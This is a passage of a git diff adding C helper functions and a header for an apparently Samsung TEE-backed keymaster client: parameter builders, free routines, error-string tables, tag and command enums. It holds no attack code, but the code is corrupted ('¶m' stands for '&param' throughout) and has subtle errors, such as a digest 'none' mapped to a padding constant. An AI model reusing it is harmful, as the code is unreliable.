+keymaster_tag_type_t keymaster_tag_get_type(keymaster_tag_t tag) { + return (keymaster_tag_type_t)(tag & (0xF << 28)); +} + +uint32_t keymaster_tag_mask_type(keymaster_tag_t tag) { + return tag & 0x0FFFFFFF; +} + +keymaster_key_param_t keymaster_param_enum(keymaster_tag_t tag, uint32_t value) { + keymaster_key_param_t param; + memset(¶m, 0, sizeof(param)); + param.tag = tag; + param.enumerated = value; + return param; +} + +keymaster_key_param_t keymaster_param_int(keymaster_tag_t tag, uint32_t value) { + keymaster_key_param_t param; + memset(¶m, 0, sizeof(param)); + param.tag = tag; + param.integer = value; + return param; +} + +keymaster_key_param_t keymaster_param_long(keymaster_tag_t tag, uint64_t value) { + keymaster_key_param_t param; + memset(¶m, 0, sizeof(param)); + param.tag = tag; + param.long_integer = value; + return param; +} + +keymaster_key_param_t keymaster_param_blob(keymaster_tag_t tag, vector_t *blob) { + keymaster_key_param_t param; + memset(¶m, 0, sizeof(param)); + param.tag = tag; + param.blob.data = blob->data; + param.blob.len = blob->len; + return param; +} + +keymaster_key_param_t keymaster_param_bool(keymaster_tag_t tag) { + keymaster_key_param_t param; + memset(¶m, 0, sizeof(param)); + param.tag = tag; + param.boolean = true; + return param; +} + +keymaster_key_param_t keymaster_param_date(keymaster_tag_t tag, uint64_t value) { + keymaster_key_param_t param; + memset(¶m, 0, sizeof(param)); + param.tag = tag; + param.date_time = value; + return param; +} + +void init_param_set(keymaster_key_param_set_t *param_set, keymaster_key_param_t *key_params, size_t len) { + param_set->params = malloc(len * sizeof(keymaster_key_param_t)); + if (NULL == param_set->params) { + return; + } + param_set->len = len; + + for (size_t i = 0; i < len; ++i) { + keymaster_tag_t tag = key_params[i].tag; + + switch (keymaster_tag_get_type(tag)) { + case KM_ENUM: + case KM_ENUM_REP: + param_set->params[i] = keymaster_param_enum(tag, key_params[i].integer); + break; + case KM_UINT: + case KM_UINT_REP: + param_set->params[i] = keymaster_param_int(tag, key_params[i].integer); + break; + case KM_ULONG: + case KM_ULONG_REP: + param_set->params[i] = keymaster_param_long(tag, key_params[i].long_integer); + break; + case KM_DATE: + param_set->params[i] = keymaster_param_date(tag, key_params[i].date_time); + break; + case KM_BOOL: + if (key_params[i].boolean) { + param_set->params[i] = keymaster_param_bool(tag); + } + else { + param_set->params[i].tag = KM_TAG_INVALID; + } + break; + case KM_BIGNUM: + case KM_BYTES: + param_set->params[i] = keymaster_param_blob(tag, &key_params[i].blob); + break; + case KM_INVALID: + default: + param_set->params[i].tag = KM_TAG_INVALID; + break; + } + } +} + +void keymaster_free_params(keymaster_key_param_t* params, size_t len) { + for (int i = 0; i < len; ++i) { + switch (keymaster_tag_get_type(params[i].tag)) { + case KM_BIGNUM: + case KM_BYTES: + free(params[i].blob.data); + params[i].blob.data = NULL; + break; + default: + break; + } + } + free(params); +} + +void keymaster_free_param_set(keymaster_key_param_set_t* param_set) { + if (NULL != param_set) { + keymaster_free_params(param_set->params, param_set->len); + param_set->params = NULL; + param_set->len = 0; + } +} + +void keymaster_free_characteristics(keymaster_key_characteristics_t *characteristics) { + if (NULL != characteristics) { + keymaster_free_param_set(&characteristics->hw_enforced); + keymaster_free_param_set(&characteristics->sw_enforced); + } +} + +const char *km_result_to_string(KM_Result ret) +{ + switch (ret) { + case KM_RESULT_SUCCESS: + return "KM_RESULT_SUCCESS"; + case KM_RESULT_INVALID: + return "KM_RESULT_INVALID"; + case KM_RESULT_UNSUPPORTED: + return "KM_RESULT_UNSUPPORTED"; + default: + return "unknown"; + } +} + +const char *km_error_to_string(int error) +{ + switch (error) { + case KM_ERROR_OK: + return "KM_ERROR_OK"; + case KM_ERROR_ROOT_OF_TRUST_ALREADY_SET: + return "KM_ERROR_ROOT_OF_TRUST_ALREADY_SET"; + case KM_ERROR_UNSUPPORTED_PURPOSE: + return "KM_ERROR_UNSUPPORTED_PURPOSE"; + case KM_ERROR_INCOMPATIBLE_PURPOSE: + return "KM_ERROR_INCOMPATIBLE_PURPOSE"; + case KM_ERROR_UNSUPPORTED_ALGORITHM: + return "KM_ERROR_UNSUPPORTED_ALGORITHM"; + case KM_ERROR_INCOMPATIBLE_ALGORITHM: + return "KM_ERROR_INCOMPATIBLE_ALGORITHM"; + case KM_ERROR_UNSUPPORTED_KEY_SIZE: + return "KM_ERROR_UNSUPPORTED_KEY_SIZE"; + case KM_ERROR_UNSUPPORTED_BLOCK_MODE: + return "KM_ERROR_UNSUPPORTED_BLOCK_MODE"; + case KM_ERROR_INCOMPATIBLE_BLOCK_MODE: + return "KM_ERROR_INCOMPATIBLE_BLOCK_MODE"; + case KM_ERROR_UNSUPPORTED_MAC_LENGTH: + return "KM_ERROR_UNSUPPORTED_MAC_LENGTH"; + case KM_ERROR_UNSUPPORTED_PADDING_MODE: + return "KM_ERROR_UNSUPPORTED_PADDING_MODE"; + case KM_ERROR_INCOMPATIBLE_PADDING_MODE: + return "KM_ERROR_INCOMPATIBLE_PADDING_MODE"; + case KM_ERROR_UNSUPPORTED_DIGEST: + return "KM_ERROR_UNSUPPORTED_DIGEST"; + case KM_ERROR_INCOMPATIBLE_DIGEST: + return "KM_ERROR_INCOMPATIBLE_DIGEST"; + case KM_ERROR_INVALID_EXPIRATION_TIME: + return "KM_ERROR_INVALID_EXPIRATION_TIME"; + case KM_ERROR_INVALID_USER_ID: + return "KM_ERROR_INVALID_USER_ID"; + case KM_ERROR_INVALID_AUTHORIZATION_TIMEOUT: + return "KM_ERROR_INVALID_AUTHORIZATION_TIMEOUT"; + case KM_ERROR_UNSUPPORTED_KEY_FORMAT: + return "KM_ERROR_UNSUPPORTED_KEY_FORMAT"; + case KM_ERROR_INCOMPATIBLE_KEY_FORMAT: + return "KM_ERROR_INCOMPATIBLE_KEY_FORMAT"; + case KM_ERROR_UNSUPPORTED_KEY_ENCRYPTION_ALGORITHM: + return "KM_ERROR_UNSUPPORTED_KEY_ENCRYPTION_ALGORITHM"; + case KM_ERROR_UNSUPPORTED_KEY_VERIFICATION_ALGORITHM: + return "KM_ERROR_UNSUPPORTED_KEY_VERIFICATION_ALGORITHM"; + case KM_ERROR_INVALID_INPUT_LENGTH: + return "KM_ERROR_INVALID_INPUT_LENGTH"; + case KM_ERROR_KEY_EXPORT_OPTIONS_INVALID: + return "KM_ERROR_KEY_EXPORT_OPTIONS_INVALID"; + case KM_ERROR_DELEGATION_NOT_ALLOWED: + return "KM_ERROR_DELEGATION_NOT_ALLOWED"; + case KM_ERROR_KEY_NOT_YET_VALID: + return "KM_ERROR_KEY_NOT_YET_VALID"; + case KM_ERROR_KEY_EXPIRED: + return "KM_ERROR_KEY_EXPIRED"; + case KM_ERROR_KEY_USER_NOT_AUTHENTICATED: + return "KM_ERROR_KEY_USER_NOT_AUTHENTICATED"; + case KM_ERROR_OUTPUT_PARAMETER_NULL: + return "KM_ERROR_OUTPUT_PARAMETER_NULL"; + case KM_ERROR_INVALID_OPERATION_HANDLE: + return "KM_ERROR_INVALID_OPERATION_HANDLE"; + case KM_ERROR_INSUFFICIENT_BUFFER_SPACE: + return "KM_ERROR_INSUFFICIENT_BUFFER_SPACE"; + case KM_ERROR_VERIFICATION_FAILED: + return "KM_ERROR_VERIFICATION_FAILED"; + case KM_ERROR_TOO_MANY_OPERATIONS: + return "KM_ERROR_TOO_MANY_OPERATIONS"; + case KM_ERROR_UNEXPECTED_NULL_POINTER: + return "KM_ERROR_UNEXPECTED_NULL_POINTER"; + case KM_ERROR_INVALID_KEY_BLOB: + return "KM_ERROR_INVALID_KEY_BLOB"; + case KM_ERROR_IMPORTED_KEY_NOT_ENCRYPTED: + return "KM_ERROR_IMPORTED_KEY_NOT_ENCRYPTED"; + case KM_ERROR_IMPORTED_KEY_DECRYPTION_FAILED: + return "KM_ERROR_IMPORTED_KEY_DECRYPTION_FAILED"; + case KM_ERROR_IMPORTED_KEY_NOT_SIGNED: + return "KM_ERROR_IMPORTED_KEY_NOT_SIGNED"; + case KM_ERROR_IMPORTED_KEY_VERIFICATION_FAILED: + return "KM_ERROR_IMPORTED_KEY_VERIFICATION_FAILED"; + case KM_ERROR_INVALID_ARGUMENT: + return "KM_ERROR_INVALID_ARGUMENT"; + case KM_ERROR_UNSUPPORTED_TAG: + return "KM_ERROR_UNSUPPORTED_TAG"; + case KM_ERROR_INVALID_TAG: + return "KM_ERROR_INVALID_TAG"; + case KM_ERROR_MEMORY_ALLOCATION_FAILED: + return "KM_ERROR_MEMORY_ALLOCATION_FAILED"; + case KM_ERROR_INVALID_RESCOPING: + return "KM_ERROR_INVALID_RESCOPING"; + case KM_ERROR_IMPORT_PARAMETER_MISMATCH: + return "KM_ERROR_IMPORT_PARAMETER_MISMATCH"; + case KM_ERROR_SECURE_HW_ACCESS_DENIED: + return "KM_ERROR_SECURE_HW_ACCESS_DENIED"; + case KM_ERROR_OPERATION_CANCELLED: + return "KM_ERROR_OPERATION_CANCELLED"; + case KM_ERROR_CONCURRENT_ACCESS_CONFLICT: + return "KM_ERROR_CONCURRENT_ACCESS_CONFLICT"; + case KM_ERROR_SECURE_HW_BUSY: + return "KM_ERROR_SECURE_HW_BUSY"; + case KM_ERROR_SECURE_HW_COMMUNICATION_FAILED: + return "KM_ERROR_SECURE_HW_COMMUNICATION_FAILED"; + case KM_ERROR_UNSUPPORTED_EC_FIELD: + return "KM_ERROR_UNSUPPORTED_EC_FIELD"; + case KM_ERROR_MISSING_NONCE: + return "KM_ERROR_MISSING_NONCE"; + case KM_ERROR_INVALID_NONCE: + return "KM_ERROR_INVALID_NONCE"; + case KM_ERROR_MISSING_MAC_LENGTH: + return "KM_ERROR_MISSING_MAC_LENGTH"; + case KM_ERROR_KEY_RATE_LIMIT_EXCEEDED: + return "KM_ERROR_KEY_RATE_LIMIT_EXCEEDED"; + case KM_ERROR_CALLER_NONCE_PROHIBITED: + return "KM_ERROR_CALLER_NONCE_PROHIBITED"; + case KM_ERROR_KEY_MAX_OPS_EXCEEDED: + return "KM_ERROR_KEY_MAX_OPS_EXCEEDED"; + case KM_ERROR_INVALID_MAC_LENGTH: + return "KM_ERROR_INVALID_MAC_LENGTH"; + case KM_ERROR_MISSING_MIN_MAC_LENGTH: + return "KM_ERROR_MISSING_MIN_MAC_LENGTH"; + case KM_ERROR_UNSUPPORTED_MIN_MAC_LENGTH: + return "KM_ERROR_UNSUPPORTED_MIN_MAC_LENGTH"; + case KM_ERROR_CANNOT_ATTEST_IDS: + return "KM_ERROR_CANNOT_ATTEST_IDS"; + case KM_ERROR_DEVICE_LOCKED: + return "KM_ERROR_DEVICE_LOCKED"; + case KM_ERROR_UNIMPLEMENTED: + return "KM_ERROR_UNIMPLEMENTED"; + case KM_ERROR_VERSION_MISMATCH: + return "KM_ERROR_VERSION_MISMATCH"; + case KM_ERROR_UNKNOWN_ERROR: + return "KM_ERROR_UNKNOWN_ERROR"; + default: + return km_result_to_string(error); + } +} + +const char *km_key_format_to_string(int key_format) +{ + switch (key_format) { + case KM_KEY_FORMAT_X509: + return "KM_KEY_FORMAT_X509"; + case KM_KEY_FORMAT_PKCS8: + return "KM_KEY_FORMAT_PKCS8"; + case KM_KEY_FORMAT_RAW: + return "KM_KEY_FORMAT_RAW"; + default: + return "unknown"; + } +} + +const char *km_algorithm_to_string(int algorithm) +{ + switch (algorithm) { + case KM_ALGORITHM_RSA: + return "rsa"; + case KM_ALGORITHM_EC: + return "ec"; + case KM_ALGORITHM_AES: + return "aes"; + case KM_ALGORITHM_DES: + return "des"; + case KM_ALORITHM_HMAC: + return "hmac"; + default: + return "unknown"; + } +} + +int km_algorithm_to_int(const char *str) +{ + int ret = -1; + if (0 == strcmp(str, "rsa")) { + ret = KM_ALGORITHM_RSA; + } + else if (0 == strcmp(str, "ec")) { + ret = KM_ALGORITHM_EC; + } + else if (0 == strcmp(str, "aes")) { + ret = KM_ALGORITHM_AES; + } + else if (0 == strcmp(str, "des")) { + ret = KM_ALGORITHM_DES; + } + else if (0 == strcmp(str, "hmac")) { + ret = KM_ALORITHM_HMAC; + } + return ret; +} + +int km_purpose_to_int(const char *str) +{ + int ret = -1; + if (0 == strcmp(str, "encrypt")) { + ret = KM_PURPOSE_ENCRYPT; + } + else if (0 == strcmp(str, "decrypt")) { + ret = KM_PURPOSE_DECRYPT; + } + else if (0 == strcmp(str, "sign")) { + ret = KM_PURPOSE_SIGN; + } + else if (0 == strcmp(str, "verify")) { + ret = KM_PURPOSE_VERIFY; + } + else if (0 == strcmp(str, "wrap_key")) { + ret = KM_PURPOSE_WRAP_KEY; + } + return ret; +} + +int km_padding_to_int(const char *str) +{ + int ret = -1; + if (0 == strcmp(str, "none")) { + ret = KM_PAD_NONE; + } + else if (0 == strcmp(str, "oaep")) { + ret = KM_PAD_RSA_OAEP; + } + else if (0 == strcmp(str, "pss")) { + ret = KM_PAD_RSA_PSS; + } + else if (0 == strcmp(str, "pkcs1.5_encrypt")) { + ret = KM_PAD_RSA_PKCS1_1_5_ENCRYPT; + } + else if (0 == strcmp(str, "pkcs1.5_sign")) { + ret = KM_PAD_RSA_PKCS1_1_5_SIGN; + } + else if (0 == strcmp(str, "pkcs7")) { + ret = KM_PAD_PKCS7; + } + return ret; +} + +int km_digest_to_int(const char *str) +{ + int ret = -1; + if (0 == strcmp(str, "none")) { + ret = KM_PAD_NONE; + } + else if (0 == strcmp(str, "md5")) { + ret = KM_DIGEST_MD5; + } + else if (0 == strcmp(str, "sha1")) { + ret = KM_DIGEST_SHA1; + } + else if (0 == strcmp(str, "sha224")) { + ret = KM_DIGEST_SHA_2_224; + } + else if (0 == strcmp(str, "sha256")) { + ret = KM_DIGEST_SHA_2_256; + } + else if (0 == strcmp(str, "sha384")) { + ret = KM_DIGEST_SHA_2_384; + } + else if (0 == strcmp(str, "sha512")) { + ret = KM_DIGEST_SHA_2_512; + } + + return ret; +} diff --git a/jni/core/skeymaster_defs.h b/jni/core/skeymaster_defs.h new file mode 100755 index 0000000..2b27860 --- /dev/null +++ b/jni/core/skeymaster_defs.h @@ -0,0 +1,339 @@ +#ifndef _SKEYMASTER_DEFS_H_ +#define _SKEYMASTER_DEFS_H_ + +#include +#include + +#include + +// Algorithm values. +typedef enum KM_ALGORITHM { + KM_ALGORITHM_RSA = 0x01, + KM_ALGORITHM_EC = 0x03, + KM_ALGORITHM_AES = 0x20, + KM_ALGORITHM_DES = 0x21, + KM_ALORITHM_HMAC = 0x80 +} KM_ALGORITHM; + +// Block modes. +typedef enum KM_MODE { + KM_MODE_ECB = 0x01, + KM_MODE_CBC = 0x02, + KM_MODE_CTR = 0x03, + KM_MODE_GCM = 0x20 +} KM_MODE; + +// Padding modes. +typedef enum KM_PADDING { + KM_PAD_NONE = 0x01, + KM_PAD_RSA_OAEP = 0x02, + KM_PAD_RSA_PSS = 0x03, + KM_PAD_RSA_PKCS1_1_5_ENCRYPT = 0x04, + KM_PAD_RSA_PKCS1_1_5_SIGN = 0x05, + KM_PAD_PKCS7 = 0x40 +} KM_PADDING; + +typedef enum OPENSSL_PADDING { + OPENSSL_PAD_NONE = 0x03, + OPENSSL_PAD_OAEP = 0x04, + OPENSSL_PAD_PKCS1_1_5 = 0x01, + OPENSSL_PAD_PSS = 0x06, + OPENSSL_PAD_UNKNOWN = 0x00 +} OPENSSL_PADDING; + +// Digest modes. +typedef enum KM_DIGEST { + KM_DIGEST_NONE = 0, + KM_DIGEST_MD5 = 1, + KM_DIGEST_SHA1 = 2, + KM_DIGEST_SHA_2_224 = 3, + KM_DIGEST_SHA_2_256 = 4, + KM_DIGEST_SHA_2_384 = 5, + KM_DIGEST_SHA_2_512 = 6 +} KM_DIGEST; + +// Key origins. +typedef enum KM_ORIGIN { + KM_ORIGIN_GENERATED = 0, + KM_ORIGIN_IMPORTED = 2, + KM_ORIGIN_UNKNOWN = 3, + KM_ORIGIN_SECURELY_IMPORTED = 4 +} KM_ORIGIN; + +// Key usability requirements. +typedef enum KM_BLOB { + KM_BLOB_STANDALONE = 0, + KM_BLOB_REQUIRES_FILE_SYSTEM = 1 +} KM_BLOB; + +// Operation Purposes. +typedef enum KM_PURPOSE { + KM_PURPOSE_ENCRYPT = 0x01, // 0x01 + KM_PURPOSE_DECRYPT = 0x02, // 0x02 + KM_PURPOSE_SIGN = 0x03, // 0x04 + KM_PURPOSE_VERIFY = 0x04, // 0x08 + KM_PURPOSE_WRAP_KEY = 0x05 // 0x32 +} KM_PURPOSE; + +// Key formats. +typedef enum KM_KEY_FORMAT { + KM_KEY_FORMAT_X509 = 0, + KM_KEY_FORMAT_PKCS8 = 1, + KM_KEY_FORMAT_RAW = 3 +} KM_KEY_FORMAT; + +// User authenticators. +typedef enum HW_AUTH { + HW_AUTH_PASSWORD = 1 << 0, + HW_AUTH_BIOMETRIC = 1 << 1 +} HW_AUTH; + +typedef enum keymaster_tag_type_t { + KM_INVALID = 0 << 28, + KM_ENUM = 1 << 28, + KM_ENUM_REP = 2 << 28, + KM_UINT = 3 << 28, + KM_UINT_REP = 4 << 28, + KM_ULONG = 5 << 28, + KM_DATE = 6 << 28, + KM_BOOL = 7 << 28, + KM_BIGNUM = 8 << 28, + KM_BYTES = 9 << 28, + KM_ULONG_REP = 10 << 28 +} keymaster_tag_type_t; + +typedef enum keymaster_tag_t { + KM_TAG_INVALID = 0x0, // KM_INVALID | 0 + KM_TAG_PURPOSE = 0x20000001, // KM_ENUM_REP | 1 + KM_TAG_ALGORITHM = 0x10000002, // KM_ENUM | 2 + KM_TAG_KEY_SIZE = 0x30000003, // KM_UINT | 3 + KM_TAG_BLOCK_MODE = 0x20000004, // KM_ENUM_REP | 4 + KM_TAG_DIGEST = 0x20000005, // KM_ENUM_REP | 5 + KM_TAG_PADDING = 0x20000006, // KM_ENUM_REP | 6 + KM_TAG_CALLER_NONCE = 0x70000007, // KM_BOOL | 7 + KM_TAG_MIN_MAC_LENGTH = 0x30000008, // KM_UINT | 8 + // Tag 9 reserved + KM_TAG_EC_CURVE = 0x1000000a, // KM_ENUM | 10 + KM_TAG_RSA_PUBLIC_EXPONENT = 0x500000c8, // KM_ULONG | 200 + // Tag 201 reserved + KM_TAG_INCLUDE_UNIQUE_ID = 0x700000ca, // KM_BOOL | 202 + KM_TAG_BLOB_USAGE_REQUIREMENTS = 0x1000012d, // KM_ENUM | 301 + KM_TAG_BOOTLOADER_ONLY = 0x7000012e, // KM_BOOL | 302 + KM_TAG_ROLLBACK_RESISTANCE = 0x7000012f, // KM_BOOL | 303 + // Reserved for future use. + KM_TAG_HARDWARE_TYPE = 0x10000130, // KM_ENUM | 304 + KM_TAG_ACTIVE_DATETIME = 0x60000190, // KM_DATE | 400 + KM_TAG_ORIGINATION_EXPIRE_DATETIME = 0x60000191, // KM_DATE | 401 + KM_TAG_USAGE_EXPIRE_DATETIME = 0x60000192, // KM_DATE | 402 + KM_TAG_MIN_SECONDS_BETWEEN_OPS = 0x30000193, // KM_UINT | 403 + KM_TAG_MAX_USES_PER_BOOT = 0x30000194, // KM_UINT | 404 + KM_TAG_USER_ID = 0x300001f5, // KM_UINT | 501 + KM_TAG_USER_SECURE_ID = 0xa00001f6, // KM_ULONG_REP | 502 + KM_TAG_NO_AUTH_REQUIRED = 0x700001f7, // KM_BOOL | 503 + KM_TAG_USER_AUTH_TYPE = 0x100001f8, // KM_ENUM | 504 + KM_TAG_AUTH_TIMEOUT = 0x300001f9, // KM_UINT | 505 + KM_TAG_ALLOW_WHILE_ON_BODY = 0x700001fa, // KM_BOOL | 506 + KM_TAG_TRUSTED_USER_PRESENCE_REQUIRED = 0x700001fb, // KM_BOOL | 507 + KM_TAG_TRUSTED_CONFIRMATION_REQUIRED = 0x700001fc, // KM_BOOL | 508 + KM_TAG_UNLOCKED_DEVICE_REQUIRED = 0x700001fd, // KM_BOOL | 509 + KM_TAG_APPLICATION_ID = 0x90000259, // KM_BYTES | 601 + KM_TAG_APPLICATION_DATA = 0x900002bc, // KM_BYTES | 700 + KM_TAG_CREATION_DATETIME = 0x600002bd, // KM_DATE | 701 + KM_TAG_ORIGIN = 0x100002c0, // KM_ENUM | 702 + KM_TAG_ROOT_OF_TRUST = 0x900002c0, // KM_BYTES | 704 + KM_TAG_OS_VERSION = 0x300002c1, // KM_UINT | 705 + KM_TAG_OS_PATCHLEVEL = 0x300002c2, // KM_UINT | 706 + KM_TAG_UNIQUE_ID = 0x900002c3, // KM_BYTES | 707 + KM_TAG_ATTESTATION_CHALLENGE = 0x900002c4, // KM_BYTES | 708 + KM_TAG_ATTESTATION_APPLICATION_ID = 0x900002c5, // KM_BYTES | 709 + KM_TAG_ATTESTATION_ID_BRAND = 0x900002c6, // KM_BYTES | 710 + KM_TAG_ATTESTATION_ID_DEVICE = 0x900002c7, // KM_BYTES | 711 + KM_TAG_ATTESTATION_ID_PRODUCT = 0x900002c8, // KM_BYTES | 712 + KM_TAG_ATTESTATION_ID_SERIAL = 0x900002c9, // KM_BYTES | 713 + KM_TAG_ATTESTATION_ID_IMEI = 0x900002ca, // KM_BYTES | 714 + KM_TAG_ATTESTATION_ID_MEID = 0x900002cb, // KM_BYTES | 715 + KM_TAG_ATTESTATION_ID_MANUFACTURER = 0x900002cc, // KM_BYTES | 716 + KM_TAG_ATTESTATION_ID_MODEL = 0x900002cd, // KM_BYTES | 717 + KM_TAG_VENDOR_PATCHLEVEL = 0x300002ce, // KM_UINT | 718 + KM_TAG_BOOT_PATCHLEVEL = 0x300002cf, // KM_UINT | 719 + KM_TAG_ASSOCIATED_DATA = 0x900003e8, // KM_BYTES | 1000 + KM_TAG_NONCE = 0x900003e9, // KM_BYTES | 1001 + KM_TAG_MAC_LENGTH = 0x300003eb, // KM_UINT | 1003 + KM_TAG_RESET_SINCE_ID_ROTATION = 0x700003ec, // KM_BOOL | 1004 + KM_TAG_CONFIRMATION_TOKEN = 0x900003ed, // KM_BYTES | 1005 + KM_TAG_EKEY_BLOB_IV = 0x90001388, + KM_TAG_EKEY_BLOB_AUTH_TAG = 0x90001389, + KM_TAG_EKEY_BLOB_DO_UPGRADE = 0x3000138d, + KM_TAG_EKEY_BLOB_PASSWORD = 0x9000138e, + KM_TAG_EKEY_BLOB_SALT = 0x9000138f, + KM_TAG_EKEY_BLOB_ENC_VER = 0x30001390, + KM_TAG_EKEY_IS_KEY_BLOB_PLAIN = 0x30001391, + KM_TAG_EKEY_BLOB_HEK_RANDOMNESS = 0x90001392, + KM_TAG_INTEGRITY_FLAGS = 0x300013a7, + KM_TAG_EXPORTABLE = 0x7000025a, + KM_TAG_ORIGIN_2 = 0x100002be +} keymaster_tag_t; + +typedef enum KM_ERROR { + KM_ERROR_OK = 0, + KM_ERROR_ROOT_OF_TRUST_ALREADY_SET = -1, + KM_ERROR_UNSUPPORTED_PURPOSE = -2, + KM_ERROR_INCOMPATIBLE_PURPOSE = -3, + KM_ERROR_UNSUPPORTED_ALGORITHM = -4, + KM_ERROR_INCOMPATIBLE_ALGORITHM = -5, + KM_ERROR_UNSUPPORTED_KEY_SIZE = -6, + KM_ERROR_UNSUPPORTED_BLOCK_MODE = -7, + KM_ERROR_INCOMPATIBLE_BLOCK_MODE = -8, + KM_ERROR_UNSUPPORTED_MAC_LENGTH = -9, + KM_ERROR_UNSUPPORTED_PADDING_MODE = -10, + KM_ERROR_INCOMPATIBLE_PADDING_MODE = -11, + KM_ERROR_UNSUPPORTED_DIGEST = -12, + KM_ERROR_INCOMPATIBLE_DIGEST = -13, + KM_ERROR_INVALID_EXPIRATION_TIME = -14, + KM_ERROR_INVALID_USER_ID = -15, + KM_ERROR_INVALID_AUTHORIZATION_TIMEOUT = -16, + KM_ERROR_UNSUPPORTED_KEY_FORMAT = -17, + KM_ERROR_INCOMPATIBLE_KEY_FORMAT = -18, + KM_ERROR_UNSUPPORTED_KEY_ENCRYPTION_ALGORITHM = -19, + KM_ERROR_UNSUPPORTED_KEY_VERIFICATION_ALGORITHM = -20, + KM_ERROR_INVALID_INPUT_LENGTH = -21, + KM_ERROR_KEY_EXPORT_OPTIONS_INVALID = -22, + KM_ERROR_DELEGATION_NOT_ALLOWED = -23, + KM_ERROR_KEY_NOT_YET_VALID = -24, + KM_ERROR_KEY_EXPIRED = -25, + KM_ERROR_KEY_USER_NOT_AUTHENTICATED = -26, + KM_ERROR_OUTPUT_PARAMETER_NULL = -27, + KM_ERROR_INVALID_OPERATION_HANDLE = -28, + KM_ERROR_INSUFFICIENT_BUFFER_SPACE = -29, + KM_ERROR_VERIFICATION_FAILED = -30, + KM_ERROR_TOO_MANY_OPERATIONS = -31, + KM_ERROR_UNEXPECTED_NULL_POINTER = -32, + KM_ERROR_INVALID_KEY_BLOB = -33, + KM_ERROR_IMPORTED_KEY_NOT_ENCRYPTED = -34, + KM_ERROR_IMPORTED_KEY_DECRYPTION_FAILED = -35, + KM_ERROR_IMPORTED_KEY_NOT_SIGNED = -36, + KM_ERROR_IMPORTED_KEY_VERIFICATION_FAILED = -37, + KM_ERROR_INVALID_ARGUMENT = -38, + KM_ERROR_UNSUPPORTED_TAG = -39, + KM_ERROR_INVALID_TAG = -40, + KM_ERROR_MEMORY_ALLOCATION_FAILED = -41, + KM_ERROR_INVALID_RESCOPING = -42, + KM_ERROR_IMPORT_PARAMETER_MISMATCH = -44, + KM_ERROR_SECURE_HW_ACCESS_DENIED = -45, + KM_ERROR_OPERATION_CANCELLED = -46, + KM_ERROR_CONCURRENT_ACCESS_CONFLICT = -47, + KM_ERROR_SECURE_HW_BUSY = -48, + KM_ERROR_SECURE_HW_COMMUNICATION_FAILED = -49, + KM_ERROR_UNSUPPORTED_EC_FIELD = -50, + KM_ERROR_MISSING_NONCE = -51, + KM_ERROR_INVALID_NONCE = -52, + KM_ERROR_MISSING_MAC_LENGTH = -53, + KM_ERROR_KEY_RATE_LIMIT_EXCEEDED = -54, + KM_ERROR_CALLER_NONCE_PROHIBITED = -55, + KM_ERROR_KEY_MAX_OPS_EXCEEDED = -56, + KM_ERROR_INVALID_MAC_LENGTH = -57, + KM_ERROR_MISSING_MIN_MAC_LENGTH = -58, + KM_ERROR_UNSUPPORTED_MIN_MAC_LENGTH = -59, + KM_ERROR_CANNOT_ATTEST_IDS = -66, + KM_ERROR_DEVICE_LOCKED = -72, + KM_ERROR_UNIMPLEMENTED = -100, + KM_ERROR_VERSION_MISMATCH = -101, + KM_ERROR_UNKNOWN_ERROR = -1000 +} KM_ERROR; + +typedef enum SWD_COMMAND_HANDLER { + SWD_COMMAND_HANDLER_swd_add_rng_entropy = 1, + SWD_COMMAND_HANDLER_swd_export_key = 5, + SWD_COMMAND_HANDLER_swd_import_key = 4, + SWD_COMMAND_HANDLER_swd_get_key_characteristics = 3, + SWD_COMMAND_HANDLER_swd_begin = 8, + SWD_COMMAND_HANDLER_swd_update = 9, + SWD_COMMAND_HANDLER_swd_finish = 10, + SWD_COMMAND_HANDLER_swd_abort = 0xb, + SWD_COMMAND_HANDLER_swd_generate_key = 2, + SWD_COMMAND_HANDLER_swd_encrypt_key = 0xd, + SWD_COMMAND_HANDLER_swd_key_attest = 0xe, + SWD_COMMAND_HANDLER_swd_configure = 0xf, + SWD_COMMAND_HANDLER_swd_key_upgrade = 0x10, + SWD_COMMAND_HANDLER_swd_generate_sak = 0x11, + SWD_COMMAND_HANDLER_swd_install_gak = 0x12, + SWD_COMMAND_HANDLER_swd_import_wrapped_key = 0x19, + SWD_COMMAND_HANDLER_swd_compute_shared_hmac = 0x1b, + SWD_COMMAND_HANDLER_swd_get_hmac_sharing_parameter = 0x1a, + SWD_COMMAND_HANDLER_swd_verify_authorization = 0x1c, + SWD_COMMAND_HANDLER_swd_generate_csr = 0x17, + SWD_COMMAND_HANDLER_swd_install_sgak = 0x1e +} SWD_COMMAND_HANDLER; + +typedef struct operation_handler_t { + KM_ALGORITHM algorithm; + void * begin; + void * update; + void * finish; +} operation_handler_t; + +typedef struct tee_param_memref_t { + void * buffer; + int size; +} tee_param_memref_t; + +typedef struct vector_t { + uint8_t *data; + size_t len; +} vector_t; + +typedef union { + uint32_t enumerated; /* KM_ENUM and KM_ENUM_REP */ + bool boolean; /* KM_BOOL */ + uint32_t integer; /* KM_INT and KM_INT_REP */ + uint64_t long_integer; /* KM_LONG */ + uint64_t date_time; /* KM_DATE */ + vector_t blob; /* KM_BIGNUM and KM_BYTES*/ +} param_tag_t; + +typedef struct keymaster_key_param_t { + keymaster_tag_t tag; + union { + uint32_t enumerated; /* KM_ENUM and KM_ENUM_REP */ + bool boolean; /* KM_BOOL */ + uint32_t integer; /* KM_INT and KM_INT_REP */ + uint64_t long_integer; /* KM_LONG */ + uint64_t date_time; /* KM_DATE */ + vector_t blob; /* KM_BIGNUM and KM_BYTES*/ + }; +} keymaster_key_param_t; + +typedef struct keymaster_key_param_set_t { + keymaster_key_param_t *params; + size_t len; +} keymaster_key_param_set_t; + +typedef struct keymaster_key_characteristics_t { + keymaster_key_param_set_t hw_enforced; + keymaster_key_param_set_t sw_enforced; +} keymaster_key_characteristics_t; + +keymaster_tag_type_t keymaster_tag_get_type(keymaster_tag_t tag); +uint32_t keymaster_tag_mask_type(keymaster_tag_t tag); +keymaster_key_param_t keymaster_param_enum(keymaster_tag_t tag, uint32_t value); +keymaster_key_param_t keymaster_param_int(keymaster_tag_t tag, uint32_t value); +keymaster_key_param_t keymaster_param_long(keymaster_tag_t tag, uint64_t value); +keymaster_key_param_t keymaster_param_blob(keymaster_tag_t tag, vector_t *blob); +keymaster_key_param_t keymaster_param_bool(keymaster_tag_t tag); +keymaster_key_param_t keymaster_param_date(keymaster_tag_t tag, uint64_t value); +void init_param_set(keymaster_key_param_set_t *param_set, keymaster_key_param_t *key_params, size_t len); + +void keymaster_free_params(keymaster_key_param_t* params, size_t len); +void keymaster_free_param_set(keymaster_key_param_set_t* param_set); +void 